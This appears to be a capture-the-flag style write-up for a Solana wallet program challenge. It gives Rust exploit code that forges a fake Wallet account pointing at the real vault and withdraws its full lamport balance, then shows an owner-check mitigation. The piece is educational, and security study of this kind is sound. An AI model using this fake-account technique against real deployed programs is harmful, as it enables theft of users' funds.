Solution
#![allow(unused)] fn main() { use borsh::BorshSerialize; use level0::{Wallet, WalletInstruction}; use solana_program::instruction::{AccountMeta, Instruction}; fn hack(env: &mut LocalEnvironment, challenge: &Challenge) { // Figure out how much we want to steal let amount = env.get_account(challenge.vault_address).unwrap().lamports; println!("Trying to steal {} lamports", amount.green()); // Create a fake Wallet pointing to the real vault let hack_wallet = Wallet { authority: challenge.hacker.pubkey(), vault: challenge.vault_address, }; let fake_wallet = keypair(123); let mut hack_wallet_data: Vec<u8> = vec![]; hack_wallet.serialize(&mut hack_wallet_data).unwrap(); env.create_account_with_data(&fake_wallet, hack_wallet_data); env.execute_as_transaction( &[Instruction { program_id: challenge.wallet_program, accounts: vec![ AccountMeta::new(fake_wallet.pubkey(), false), AccountMeta::new(challenge.vault_address, false), AccountMeta::new(challenge.hacker.pubkey(), true), AccountMeta::new(challenge.hacker.pubkey(), false), AccountMeta::new_readonly(system_program::id(), false), ], data: WalletInstruction::Withdraw { amount }.try_to_vec().unwrap(), }], &[&challenge.hacker], ) .print(); } }
Mitigation
By adding a check in the withdraw
function, to check if the program itself is the owner of the wallet_info
this vulnerability can be prevented:
#![allow(unused)] fn main() { assert_eq!(wallet_info.owner, _program_id); }